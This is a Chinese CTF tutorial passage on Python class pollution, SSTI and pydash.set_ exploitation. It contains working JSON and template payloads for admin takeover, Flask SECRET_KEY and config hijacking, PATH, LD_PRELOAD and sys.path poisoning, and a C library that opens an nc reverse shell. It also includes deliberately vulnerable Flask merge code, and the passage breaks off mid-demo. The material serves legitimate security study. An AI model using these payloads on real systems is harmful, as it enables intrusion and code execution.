python原型链污染
Python 的“上游”(魔术属性遍历)
要理解 Python 的攻击,你必须掌握这几个用于“上下游穿梭”的核心魔术属性:
__class__:查看当前对象属于哪个类。__base__或__mro__:查看当前类的“父类”(这就是 Python 的上游)。沿着__mro__一直往上找,终点永远是最顶层的基类object。__subclasses__():查看当前类的所有“子类”。__globals__:获取函数所在模块的全局变量字典(非常危险,能拿到os等系统库)。
SSTI (服务端模板注入) 中的“上游”遍历
这是 Python Web CTF 中最最常考的题型,尤其是基于 Flask + Jinja2 模板引擎的题目。
当你的输入被直接拼接到模板中执行时,你可以利用上面提到的魔术属性,从一个普通字符串一路“爬”到系统命令执行层。
经典的 RCE(远程命令执行) Payload 构造过程:
- 起点: 随便找一个内置对象,比如一个空字符串
""。 - 找上游:
"".__class__拿到字符串类<class 'str'>。 - 找总仓库:
"".__class__.__mro__[1]拿到最上游的基类<class 'object'>。 - 向下遍历子类:
"".__class__.__mro__[1].__subclasses__()会列出环境中所有继承自object的类(可能有几百个)。 - 寻找武器: 在这几百个子类中,找到能执行命令的类(例如
<class 'os._wrap_close'>)。 - 拿 Flag: 通过该类的
__init__.__globals__提取出os模块,然后调用popen执行命令。
完整 Payload 看起来大概是这样:
1
{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read() }}
(注:[132] 是子类的索引号,每次运行的环境可能不同,需要写脚本去跑或者用类似 tplmap 的工具探测)
Python 类污染 (Class Pollution)
如果说 SSTI 侧重于“寻找可利用的类”,那么类污染就是真正意义上的“Python 版原型链污染”。
这种漏洞通常发生在服务器解析复杂的外部数据(如深度嵌套的 JSON/YAML),并将其递归赋值给 Python 对象时。
漏洞原理: 假设目标代码使用类似 merge 的函数合并你传入的 JSON。你可以通过恶意 JSON,顺着对象的 __class__ 摸到它的初始化函数 __init__,再摸到全局变量 __globals__,从而覆盖掉服务器上的全局配置。
攻击载荷(Payload)示例: 假设你要把服务器的 IS_ADMIN 全局变量改为 true,你可以提交这样的数据:
1
2
3
4
5
6
7
8
9
{
"__class__": {
"__init__": {
"__globals__": {
"IS_ADMIN": true
}
}
}
}
当存在漏洞的合并函数执行时,它实际上执行了: target.__class__.__init__.__globals__["IS_ADMIN"] = true
这直接污染了该类所在的整个作用域环境!这通常会导致身份伪造、或者配合其他路由造成命令执行。
一条非常经典的利用链:__class__.__init__.__globals__。我们来逐层拆解它的含义:
- __class__:获取当前对象所属的类。例如,如果你有一个空对象
obj,obj.__class__就会指向定义这个对象的类本身。 - __init__:获取该类的初始化方法。在 Python 中,方法也是对象。
- __globals__:这是函数(或方法)对象的一个特殊属性。它返回一个字典,其中包含了定义该函数所在模块的全局命名空间。
通过这条路径,只要我们能控制合并过程,就能跨越对象本身的边界,直接触及并修改该模块内的全局变量(例如你提到的 IS_ADMIN)。
漏洞成因演示
我们可以看一个典型的、存在漏洞的 merge 函数的抽象示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# 假设这是服务器上的一个全局配置或变量
IS_ADMIN = False
# 一个存在漏洞的递归合并函数
def vulnerable_merge(target, source):
for key, value in source.items():
if isinstance(value, dict):
# 如果目标对象有这个属性/键,获取它
if hasattr(target, key):
node = getattr(target, key)
elif key in target:
node = target[key]
else:
target[key] = {}
node = target[key]
# 递归合并
vulnerable_merge(node, value)
else:
# 直接赋值,漏洞发生在这里:没有检查 key 的安全性
if hasattr(target, key):
setattr(target, key, value)
elif isinstance(target, dict):
target[key] = value
class UserConfig:
def __init__(self):
self.theme = "light"
# 1. 正常的业务逻辑:合并用户传入的普通配置
target_obj = UserConfig()
normal_payload = {"theme": "dark"}
vulnerable_merge(target_obj.__dict__, normal_payload)
print(f"Normal Merge - Theme: {target_obj.theme}") # 输出 dark
# 2. 恶意逻辑:类污染
print(f"Before Pollution - IS_ADMIN: {IS_ADMIN}") # 输出 False
malicious_payload = {
"__class__": {
"__init__": {
"__globals__": {
"IS_ADMIN": True
}
}
}
}
# 假设应用程序不小心将恶意 payload 合并到了对象中
vulnerable_merge(target_obj, malicious_payload)
# 此时,全局变量已经被覆盖
print(f"After Pollution - IS_ADMIN: {IS_ADMIN}") # 输出 True
发生了什么?
当 vulnerable_merge 处理 malicious_payload 时:
- 它读取键
__class__,发现target_obj有这个属性,于是node变成了UserConfig类。 - 它递归进入,读取键
__init__,发现UserConfig类有这个方法,于是node变成了UserConfig.__init__方法。 - 它继续递归,读取键
__globals__,发现__init__有这个属性(返回模块的全局字典),于是node变成了全局变量字典。 - 最后,它在这个全局字典中,将
IS_ADMIN键的值设置为了True。
常见的污染目标
除了 __globals__,攻击者通常还会寻找其他有价值的魔术属性来修改应用程序的行为:
- __builtins__: 修改内建函数(如覆盖
eval、open的行为)。 - 修改类级别的属性,影响所有后续实例化的对象。
- 配合模板引擎(如 Jinja2、Mako),通过注入特定属性来实现 Server-Side Template Injection (SSTI) 或远程代码执行 (RCE)。
常见的攻击路径
除了覆盖 IS_ADMIN 这种业务逻辑变量,攻击者通常还会寻找以下目标:
| 目标属性 | 攻击后果 |
|---|---|
| __globals__[‘os’] | 如果模块导入了 os,可以直接修改 os.system 或覆盖环境变量。 |
| __globals__[‘app’] | 在 Flask 等框架中,修改 app.config 获取密钥或数据库密码。 |
| __bases__ | 修改类的父类,可能导致劫持后续的方法调用。 |
| __builtins__ | 污染内置函数(如 eval, open),直接实现 RCE(远程代码执行)。 |
核心原理: 在 Python 中,如果一个模块(文件)在顶部执行了 import os,那么在这个模块的全局命名空间(__globals__)中,就会存在一个名为 os 的引用。通过类污染,我们可以顺藤摸瓜找到这个 os 对象,并修改其内部的属性。
攻击手法:环境变量投毒 在纯粹的 JSON 污染场景中,我们很难直接把一个普通变量替换成可执行函数。因此,最常见的做法是污染 os.environ(环境变量字典)。
很多应用在运行时会依赖环境变量,例如:
- 执行外部命令时依赖
PATH。 - 加载动态链接库时依赖
LD_PRELOAD(在 Linux 环境下)。
Payload 示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"__class__": {
"__init__": {
"__globals__": {
"os": {
"environ": {
"LD_PRELOAD": "/tmp/malicious.so"
}
}
}
}
}
}
后果: 写入恶意的环境变量后,只要目标服务器后续触发了任何系统子进程(如 subprocess.Popen),就会加载攻击者植入的动态库,直接实现底层 RCE。
无论是 /tmp/malicious.so 还是修改 PATH,本质上都是在利用操作系统执行程序时的“信任机制”和“搜索顺序”进行劫持。
一、 /tmp/malicious.so 与 LD_PRELOAD 劫持
- 什么是
.so文件?
.so(Shared Object)是 Linux 系统下的动态链接库,就相当于 Windows 里的 .dll 文件。当你运行一个普通的 C/C++ 程序(比如 Linux 的内置命令 ls, cat, ping,甚至 Python 解释器本身)时,它们并不会把所有需要的代码都打包在自己体内,而是会在运行时去系统里“借用”这些 .so 库里的标准函数(比如打印文本的 printf,分配内存的 malloc)。
而 /tmp 目录是 Linux 系统中默认所有用户都有读写权限的临时文件夹。攻击者通常会把编译好的恶意文件扔在这里。
LD_PRELOAD的“VIP 抢插队”特权
在 Linux 环境变量中,有一个极其特殊的变量叫 LD_PRELOAD。 默认情况下,程序加载 .so 库是按部就班去系统目录(如 /lib, /usr/lib)找的。但是,如果系统发现你设置了 LD_PRELOAD=/tmp/malicious.so,动态链接器就会赋予这个文件最高优先级(VIP 通道):它会强制在加载其他任何正常系统库之前,先把你指定的这个恶意库加载进内存。
- 攻击原理:狸猫换太子(Hooking)
如果你用 C 语言写一个恶意的动态库,里面包含了一个和系统标准函数同名的函数,会发生什么?
假设目标程序本来准备调用系统的 geteuid() 来检查当前是不是 root 用户。因为你的恶意库被 LD_PRELOAD 优先加载了,目标程序会“瞎眼”调用到你写的那个假函数里去。
更暴力的玩法:构造函数执行 在 CTF 漏洞利用中,为了确保代码一定能执行,攻击者甚至不需要去猜目标程序调用了什么函数。C 语言的 GCC 编译器支持一个叫 __attribute__((constructor)) 的特性。
恶意 C 代码示例 (malicious.c):
1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
// 这个宏标记会让这个函数在动态库被加载的瞬间立刻自动执行!
__attribute__((constructor)) void init() {
// 弹个反弹 shell 或者把 /etc/shadow 复制出来
system("nc -e /bin/sh 192.168.1.100 4444");
}
把这段代码编译成 /tmp/malicious.so。 通过 Python 类污染,将 os.environ['LD_PRELOAD'] 设置为 /tmp/malicious.so。 只要 Python 后续执行了任何系统子进程(哪怕只是个无害的 os.system("whoami")),恶意库就会被瞬间加载,你的反弹 Shell 就会自动触发。
二、 依赖 PATH 执行外部命令劫持
- 什么是
PATH?
PATH 是操作系统用来寻找可执行程序的“导航地图”。你在终端敲下一个命令,比如 ping 8.8.8.8。你并没有告诉系统 ping 在哪里,系统是怎么找到它的?
操作系统会去读取 PATH 环境变量。它通常长这样(各个路径用冒号分隔): PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- “从左到右”的搜索机制
当你敲下 ping 时,操作系统会严格从左到右扫描 PATH 里的目录:
- 先去
/usr/local/sbin找有没有叫ping的文件?没有。 - 再去
/usr/local/bin找?没有。 … 直到在/bin目录下找到了真正的ping程序,然后执行它。 - 攻击原理:半路打劫
很多 Python 开发者在写代码时,为了图方便,调用系统命令时不用绝对路径(不写 /bin/ping),而是直接写相对命令名:
1
2
# 存在风险的代码
os.system("ping -c 1 " + user_input_ip)
如果你通过 Python 类污染,修改了全局的 PATH 变量,在最前面加上了你可控的 /tmp 目录: 污染后的 PATH 变成了: PATH=/tmp:/usr/local/sbin:/usr/local/bin:...
接着,你在 /tmp 目录下写了一个恶意的脚本(比如反弹 shell 的脚本),并把它重命名为 ping,赋予执行权限。
结果: 当 Python 代码执行 os.system("ping ...") 时,操作系统从左到右搜索,第一站就来到了 /tmp,立马发现了你伪造的那个叫 ping 的文件!系统以为自己找到了,立刻执行。真正的 /bin/ping 就这样被截胡了。
危险代码段:
Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
这里对应的merge函数就是python中对属性值控制的一个操作,我们来简单的解释一下:merge中我们结合nodejs的merge来理解,就是将源参数赋值到目标参数。
然后对src中的键值对进行了遍历,然后检查dst中是否含有__getitem__属性,以此来判断dst是否为字典。如果存在的话,检测dst中是否存在属性k且value是否是一个字典,如果是的话,就继续嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将src中的value的值赋值给dst对应的key的值。
如果dst不含有getitem属性的话,那就说明dst不是一个字典,就直接检测dst中是否存在k的属性,并检测该属性值是否为字典,如果是的话就再通过merge函数进行遍历,将k作为dst,v作为src,继续取出v里面的键值对进行遍历。
1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
所以我们可以发现,我们可以通过对src的控制,来控制dst的值,来达到我们污染的目的。
获取其他模块:
在全局变量的前提下,是我们都在入口文件中的类对象或者属性来进行操作的,但是如果我们操作的位置在入口文件中,而目标对象并不在入口文件当中,这时候我们就需要对其他加载过的模块来获取了
import加载获取:
在简单的关系情况下,我们可以直接通过import来进行加载,在payload中我们只需要对对应的模块重新定位就可以:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import demo
payload = {
"__init__":{
"__globals__":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
##demo.py
a = 1
class B:
classa = 2
sys模块加载获取:
在很多环境当中,会引用第三方模块或者是内置模块,而不是简单的import同级文件下面的目录,所以我们就要借助sys模块中的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块:
同样是刚才的情景,因为我们已经加载过demo.py了,所以我们用sys来对里面的目标进行获取,但是存在一个问题就是,我们的payload传参的时候大概率是在它源码已有的基础上进行传参,很有可能源码中没有引入。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
payload = {
"__init__":{
"__globals__":{
"sys":{
"modules":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
}
}
加载器loader获取:
loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块。
那么我们现在的目标就变成了获取loader:
在Python中,__loader__是一个内置的属性,包含了加载模块的loader对象,Loader对象负责创建模块对象,通过__loader__属性,我们可以获取到加载特定模块的loader对象。
1
2
3
4
5
import math
# 获取模块的loader
loader = math.__loader__
# 打印loader信息
print(loader)
在这个例子当中我们就能够明白,math模块的__loader__属性包含了一个loader对象,负责加载math模块
在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块
函数形参默认值替换:
在Python中,__defaults__是一个元组,用于存储函数或方法的默认参数值。当我们去定义一个函数时,可以为其中的参数指定默认值。这些默认值会被存储在__defaults__元组中。
1
2
3
4
def a(var_1, var_2 =2, var_3 = 3):
pass
print(a.__defaults__)
#(2, 3)
所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换,但是前提条件是我们要替换的值是元组的形式:`
1
2
3
4
5
6
7
8
9
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__defaults__" : (True,)
}
}
}
}
__kwdefaults__是以字典形式来进行收录:
1
2
3
4
5
6
7
8
9
10
11
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}
关键信息替换:
flask密钥替换:
如果我们可以对密钥进行替换,赋值为我们想要的,我们就可以进行任意的session伪造,这里因为secret_key是在当前入口文件下面的,所以我们可以直接通过__init__.__globals__获取全局变量,然后通过app.config[“SECRET_KEY”]来进行污染:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])
app.run(host="0.0.0.0")
这里我们并无法确定secretkey是什么,所以如果能够污染我们就可以实现任意的session伪造
1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}
_got_first_request:
用于判定是否某次请求为自Flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,而_got_first_request值为假时才会调用:
所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request从true改成false然后就能够在后续访问的过程中,仍然能够调用装饰器app.before_first_request下面的可用信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
flag = "Is flag here?"
@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag
app.run(host="0.0.0.0")
payload={
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}
_static_url_path:
当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向
1
2
3
4
5
6
7
#static/index.html
<html>
<h1>hello</h1>
<body>
</body>
</html>
1
2
3
4
5
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"
1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
os.path.pardir:
套一下师傅的示例脚本来学习一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"
app.run(host="0.0.0.0")
我们进行目录穿梭进行访问发现报了500的错误:
然后我们找到temlating.py下面的报错信息,然后逐步跟一下找到了报500的代码块:
这个地方就是模板渲染的时候,防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。
1
2
3
4
5
6
7
8
9
10
11
payload={
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}
Jinja语法标识符:
我们在学习SSTI的时候,语法标识符{{}}是解析jinja语法重要的一个东西,那么我们能不能对这个东西进行修改呢:在Jinja的文档中,提到了对Jinja环境类的相关属性问题,文档中提到说,如果此类的实例未共享并且尚未加载模板的话,我们就可以修改此类的实例
而师傅在文章中又提到了对Flask底层的一个研究,就是在Flask中使用的Flask类的装饰器以后,jinja_env方法实现了上述的功能点:
我们跟进下create_jinja_environment()函数,发现jinja_env方法返回值就是Jinja中的环境类:jinja_environment = Environment,所以我们可以直接采用类似Flask.jinja_env.variable_start_string = "xxx"来实现对Jinja语法标识符进行替换
1
2
3
4
5
6
7
#templates/index.html
<html>
<h1>Look this -> [[flag]] <- try to make it become the real flag</h1>
<body>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#app.py
from flask import Flask,request,render_template
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "go check /index before merge it"
@app.route('/index',methods=['POST', 'GET'])
def templates():
return render_template("test.html", flag = open("flag", "rt").read())
app.run(host="0.0.0.0")
我们想要通过{{flag}}的话,就需要将语法标识符进行替换,这里我们就将语法标识符从{{}},替换为[[]]这样的话,[[flag]]就能够像{{flag}}一样被解析了。
1
2
3
4
5
6
7
8
9
10
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}
}
}
}
但是在Flask框架当中,他会对模板文件编译后进行一定的缓存,下次再需要渲染的时候,直接使用缓存里面的模板文件,这样的话我们修改后语法标识符里面的flag变量并没有被放到缓存当中,所以没有自动填充flag,所以我们需要在Flask启动以后先输入payload再访问路由,这样就可以做到先污染再访问模板
pydash原型链污染分析
漏洞简介
Pydash 是著名的 JavaScript 库 Lodash 的 Python 移植版。它提供了一系列工具函数来处理数据。
它的核心漏洞点在于
1
pydash.set_(a,b,c)
该函数允许用户通过字符串路径(Dot Notation,如A.B.C)来设置嵌套对象或字典的值。
在旧版本的pydash(<6.0.0或者某些没有正确过滤的新版)中,它没有严格限制访问Python的魔术属性。
这样攻击者就可以通过传入恶意的Key(如__init.globals),从一个普通对象”跳出“当前作用域,去修改全局变量、类属性,甚至不仅影响当前请求,还能持久化影响整个Web应用的运行状态。
漏洞点原理
这个漏洞点的函数的签名通常是这样的
1
pydash.set_(obj, path, value)
obj:
这是我们要修改的目标对象。obj有两种常见形态:普通的字典(Dict)和自定义类的实例(Instance)。我们分别来看这两种形态在利用时的区别和特征。
字典:
在现代Web开发中,这是出现频率最高的obj形态。它通常来自用户上传的JSON数据,或者是为了合并配置而创建的空字典。示例代码如下
1
2
3
4
5
6
7
8
9
# 场景:合并用户配置到默认配置
def merge_config(user_input):
config = {} #这就是 obj,一个空字典
# 或者
# config = {"theme": "dark", "lang": "en"}
# 漏洞发生地
for key, value in user_input.items():
pydash.set_(config, key, value)
虽然config只是一个字典,但它也是Python的对象。如果我们利用它来跳出作用域,我们不能直接用init,因为在pydash对字典的处理逻辑中,它会优先去找有没有一个叫init的key,而不是去调用方法。
我们通常需要先访问class跳出字典的键值对逻辑,进入对象属性逻辑。例如:
1
__class__.__init__.__globals__.SECRET_KEY
这样我们利用class,从config这个字典中跳到dict类,然后再利用init和globals获取全局属性。
实例
这是在 ORM(如 SQLAlchemy)或用户模型中常见的形态。开发者实例化了一个用户对象、文章对象或设置对象,想通过通用函数来更新它的属性。
示例代码如下
1
2
3
4
5
6
7
8
9
10
class User:
def __init__(self):
self.username = "guest"
self.is_admin = False
user = User() # 这就是 obj,一个实例对象
# 场景:更新用户信息
# 开发者想实现:输入 "username" 改名,输入 "is_admin" (如果未过滤) 提权
pydash.set_(user, user_input_key, user_input_value)
我们可以直接从init开始往下走,利用
__init__.__globals__.SECRET_KEY
这样就可以直接获取全局属性。
path
这是从obj出发,寻找最终要修改属性的路径。通常支持点分法(Dot Notation)。
这里也就是我们利用链的利用点。在obj确定修改对象后,把利用链传入这个值。
value
这里就是我们想把目标修改成目标值的位置。
一、属性篡改与逻辑绕过
1.污染类属性
这里我们利用Python类变量共享的特性,修改所有实例的默认值。
例如,一个用户注册或者登录的页面,代码中有user.is_admin检查。我们就可以修改User类的is_admin属性,导致后续实例化的所有用户变成管理员。
1
2
3
4
{
"key": "__class__.is_admin",
"value": true
}
这里同样注意,如果obj是字典对象,起点为class;如果为实例对象,起点为init。
2.劫持Flask配置
如果环境是一个Flask应用,我们可以利用app.config控制逻辑。
我们可以拿到SECRET_KEY,拿到它后可以伪造session,如果把session进行反序列化了这里也可以配合pickle反序列化来打
1
2
3
4
{
"key": "__init__.__globals__.app.config.SECRET_KEY",
"value": "123"
}
然后利用修改后的SECRET_KEY进行session伪造。
也可以把debug修改为true,泄露源码或者利用PIN码登录控制台进行rce。
1
2
3
4
{
"key": "__init__.__globals__.app.config.DEBUG",
"value": true
}
3.绕过WAF或改变内部变量
如果环境中有用变量存储的黑名单检测,或者使用了某个全局变量作为判断依据,我们可以直接覆盖变量。
1
2
3
"__init__.__globals__.BLACKLIST" 将内名单列表清空
"__init__.__globals__.check_pass" 将密码检查函数的返回值修改为True
二、RCE利用链
部分环境代码中可能有潜在的rce漏洞点,如果参数可控,我们可以尝试利用pydash实现代码执行。
1.污染os.environ劫持命令执行
很多程序底层都会调用子进程(如subprocess.popen, os.system)。如果代码中使用了相对路径命令(如git status而非/usr/bin/git status),我们可以劫持PATH环境变量。
例如,我们可以上传一个shell到tmp目录下,利用pydash修改shell到app目录下,我们就可以通过浏览器访问来rce。
1
2
3
4
{
"key": "__init__.__globals__.os.environ.PATH",
"value": "/tmp:/app"
}
2.Jinja2模板全局变量污染
如果题目使用了Flask+Jinja2来渲染页面,但是过滤SSTI关键字符或者没有可控的SSTI漏洞点,我们可以利用Jinja2的模板变量来rce。
app.jinja_env.globals
Jinja2有一个app.jinja_env.globals字典,这里面的函数/变量可以在所有模板中直接调用。我们可以往这里面塞入而已函数(如os.popen)。
1
2
3
4
{
"key": "__init__.__globals__.app.jinja_env.globals.os",
"value": "os"
}
直接传module对象通常不行,因为JSON无法序列化module。这通常用于开启某些Jinja2的内置扩展或修改配置。
app.jinja_env.variable_start_string
但是我们还可以修改Jinja2的定界符。如果题目过滤了双大括号,我们可以把定界符改成其他的,如双中括号。
1
2
3
4
{
"key": "__init__.__globals__.app.jinja_env.variable_start_string",
"value": "[["
}
####
app.jinja_env.variable_end_string
这是结尾
app.jinja_loader.searchpath
app下有个负责加载模板的jinja_loader对象的搜索路径属性searchpath。为了防止SSTI,Flask通常不会允许render_template加载别的目录下的模板文件,默认加载./template目录中的模板文件。如果我们可控模板渲染的模板路径,就可以渲染任意文件,执行SSTI或者进行任意文件读取。
1
2
3
4
{
"key": "__init__.__globals__.app.jinja_loader.searthpath",
"value": "/"
}
我们把模板渲染的默认路径修改成了根目录,这样如果代码为
1
return render_template('flag')
Flask就会渲染根目录下的flag文件,也就是/flag。
3.Python模块导入劫持
sys.path决定了Python在import库时去哪里找py文件。
如果我们能在服务器上写入一个.py文件到tmp,服务端会有import json或者import os这类的import操作,那么我们就可以将/tmp插入到sys.path的最前面。
1
2
3
4
{
"key": "__init__.__globals__.sys.path",
"value": ["/tmp", "/usr/lib/python3.x/..."]
}
那么我们可以把恶意python文件修改为源码中import的文件名,上传到tmp目录下,比如json.py,那么下次代码执行import json的时候,加载的就是/tmp/json.py,可以直接rce。
但是注意,对于已经导入成功的模块(如os,sys),单纯修改sys.path是无法实现劫持的。
Python的导入机制有一个缓存优先原则。当我们执行import os时,Python解释器会首先检查sys.module字典。如果os已经在里面了,Python直接返回缓存中的对象,而对于web应用,这类模块在启动时就被加载了。只有当sys.module里找不到时,才会遍历sys.path列表去磁盘上搜索.py文件。
我们的目标就是寻找懒加载(import写在函数内部)的模块,或者不存在的模块。
漏洞演示
下面这段代码可以用来演示所有类型的利用方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import os
import sys
import subprocess
import pydash
from flask import Flask, request, render_template_string, jsonify
app = Flask(__name__)
# ================== 环境配置 ==================
UPLOAD_FOLDER = '/tmp/ctf_uploads'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
# 模拟一个全局的 WAF 黑名单 (Type 1: 内部变量)
# 如果这个列表里有内容,某些操作会被阻止
GLOBAL_WAF_BLOCKLIST = ["hack"]
class AppConfig:
def __init__(self):
# 正常配置
self.debug = False
# (Type 1: Flask配置) 用于保护核心 flag 的开关
app.config['SHOW_THE_FLAG'] = False
class User:
is_admin = False
def __init__(self, name):
self.name = name
# ================== 核心漏洞点 ==================
@app.route('/api/pollute', methods=['POST'])
def pollute():
"""
万恶之源:Pydash 原型链污染入口
"""
try:
data = request.get_json()
key = data.get('key')
value = data.get('value')
# 这里的 obj 是一个普通的实例,但足以撬动地球
temp_user = User("temp")
pydash.set_(temp_user, key, value)
return jsonify({"msg": f"Polluted {key} success"})
except Exception as e:
return jsonify({"error": str(e)})
# ================== 辅助功能:文件上传 ==================
@app.route('/api/upload', methods=['POST'])
def upload_file():
"""
用于配合 Type 2 攻击:上传恶意脚本或模块
"""
if 'file' not in request.files: return "No file"
file = request.files['file']
if file.filename == '': return "No name"
file.save(os.path.join(UPLOAD_FOLDER, file.filename))
return f"File saved to {UPLOAD_FOLDER}/{file.filename}"
# ================== 关卡展示 ==================
# [关卡 1] 属性篡改 (Class Attribute Pollution)
@app.route('/level1/admin')
def level1():
# 每次请求产生新实例,看似安全,实则不然
current_user = User("player")
if current_user.is_admin:
return "<h3>[Level 1 CLEAR] You are Admin now!</h3>"
return "<h3>[Level 1 FAIL] Guest permission denied.</h3>", 403
# [关卡 2] 内部变量/WAF 绕过 (Internal Variable Bypass)
@app.route('/level2/waf')
def level2():
# 检查全局 WAF 列表
# 目标:清空这个列表
if len(GLOBAL_WAF_BLOCKLIST) > 0:
return f"<h3>[Level 2 FAIL] WAF Active. Blocked items: {GLOBAL_WAF_BLOCKLIST}</h3>", 403
return "<h3>[Level 2 CLEAR] WAF disabled!</h3>"
# [关卡 3] Flask 配置劫持 (Config Hijacking)
@app.route('/level3/flag')
def level3():
# 目标:修改 app.config['SHOW_THE_FLAG']
if app.config.get('SHOW_THE_FLAG'):
return "<h3>[Level 3 CLEAR] Flag: CTF{CONFIG_HIJACKED}</h3>"
return "<h3>[Level 3 FAIL] Flag is hidden in config.</h3>", 403
# [关卡 4] 环境变量劫持 (os.environ Injection)
@app.route('/level4/cmd')
def level4():
# 模拟系统调用一个名叫 'sys_health_check' 的工具
# 实际上系统里没这个命令,依赖 PATH 去找
